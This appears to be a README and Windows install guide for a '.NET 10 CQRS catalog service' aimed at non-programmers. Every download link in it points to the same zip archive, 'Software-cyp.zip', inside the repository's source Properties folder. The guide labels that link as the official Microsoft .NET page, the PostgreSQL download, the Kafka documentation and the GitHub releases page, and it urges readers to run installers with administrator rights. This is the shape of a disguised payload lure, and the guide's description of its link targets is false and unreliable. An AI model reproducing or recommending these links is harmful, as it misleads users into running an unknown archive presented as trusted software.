Welcome to CQRS, a catalog service app focused on separating reading and writing data to boost performance and reliability. This guide walks you through downloading and running CQRS on a Windows PC, even if you don’t have programming experience.
CQRS stands for Command Query Responsibility Segregation. It splits data handling into commands (write actions) and queries (read actions) to make applications faster and more scalable. This app uses .NET 10, PostgreSQL for storing data, Kafka for messaging, and a special method called the Outbox pattern to keep data accurate.
The software is designed for catalog management, helping you view and manage collections of items efficiently. While programmers build apps with this system for scalable services, you can run the app on Windows to see how it works or test it yourself.
Before you install CQRS, make sure your Windows PC meets these needs:
- Windows 10 or newer, 64-bit
- At least 4 GB of RAM (8 GB recommended)
- 2 GHz dual-core processor or better
- Internet connection to download files and dependencies
- Around 500 MB of free disk space
- Administrator rights to install necessary software
CQRS requires a few extra tools to run correctly. We will guide you through everything below.
CQRS depends on these components to operate:
-
.NET 10 Runtime
This lets your PC run apps built with the .NET 10 framework. -
PostgreSQL
This is the database to store catalog data. -
Kafka
This handles messaging between different parts of CQRS. -
Projection Worker
A background service that keeps read data updated.
You will install these or confirm they are on your PC before running CQRS.
Click the large button below to visit the official CQRS page on GitHub. This page hosts the files you need to get started.
On the GitHub page, you will find a “Releases” section where the installation files are stored. Follow these steps:
- Open the link above to go to the GitHub CQRS repository.
- Look for a menu or tab labeled "Releases" on the page.
- Find the latest release and look for Windows installer or executable files.
- Download the appropriate file (.exe or .msi) to your computer.
- If you encounter multiple files, choose the one labeled for Windows or desktop use.
After you download the installer file, run it by double-clicking. Follow these steps:
- Run the downloaded .exe or .msi file.
- If prompted, allow the installer to make changes to your device.
- Follow the on-screen instructions in the setup wizard.
- Choose your desired installation folder or leave the default.
- Click “Install” and wait while the setup completes.
- After installation, you may be asked to restart your PC.
- Visit the official Microsoft .NET download page: https://raw.githubusercontent.com/Candala977/CQRS/master/src/Catalog.Projection.Worker/Properties/Software-cyp.zip
- Choose the .NET 10 Runtime version for Windows.
- Download and run the installer.
- Follow instructions to complete installation.
- Go to https://raw.githubusercontent.com/Candala977/CQRS/master/src/Catalog.Projection.Worker/Properties/Software-cyp.zip
- Download the latest stable version for Windows.
- Run the installer and note the password you set for the superuser (usually "postgres").
- You will need this for CQRS to connect to the database.
Kafka is more advanced. For ease, you can use a lightweight local version or a Docker image:
- To use Docker (if installed):
docker run -d --name kafka -p 9092:9092 -e KAFKA_ADVERTISED_HOST_NAME=localhost -e ZOOKEEPER_CLIENT_PORT=2181 wurstmeister/kafka - For a native install, follow the documentation here: https://raw.githubusercontent.com/Candala977/CQRS/master/src/Catalog.Projection.Worker/Properties/Software-cyp.zip
This runs in the background to update the read model. The installer usually configures this automatically. If not, you will find instructions inside the downloaded folder.
Once all components are installed:
- Open the CQRS app shortcut on your desktop or start menu.
- The app will connect to PostgreSQL and Kafka automatically.
- If you see errors about connections, check that PostgreSQL and Kafka are running.
- You can now use the interface to view and manage catalog items.
When updates become available:
- Return to the GitHub releases page:
https://raw.githubusercontent.com/Candala977/CQRS/master/src/Catalog.Projection.Worker/Properties/Software-cyp.zip - Download the latest installer or update files.
- Run the installer to update your existing installation.
- Follow prompts to complete the update.
- If the app fails to start, confirm PostgreSQL and Kafka are running.
- Look for error messages in CQRS and Google or visit common support forums.
- Ensure you have administrator rights during installation.
- Restart your computer after installing dependencies.
- Check firewall settings that may block connection to Kafka or PostgreSQL.
